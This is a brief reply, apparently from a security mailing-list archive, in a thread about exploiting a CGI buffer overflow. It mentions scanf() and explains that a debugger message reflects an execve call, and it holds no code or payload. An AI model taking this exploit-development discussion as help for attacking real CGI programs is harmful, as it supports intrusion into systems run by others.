Re: Problem exploiting a CGI overflow

[sin <sin () innocence-lost net>]

Firstly, my last post was delayed by several days. Glad you got it
working, I didn't realize it was using scanf()/etc, I deleted the first
email after I replied (bad habit of mine). As for the last 'funny thing',
thats a debugger thing, it detects the execve and is quite normal-
actually I've never investigated what exactly it detects, but its the
result of the execve.

There are only two choices in life. You either conform the truth to your desire,
or you conform your desire to the truth. Which choice are you making?
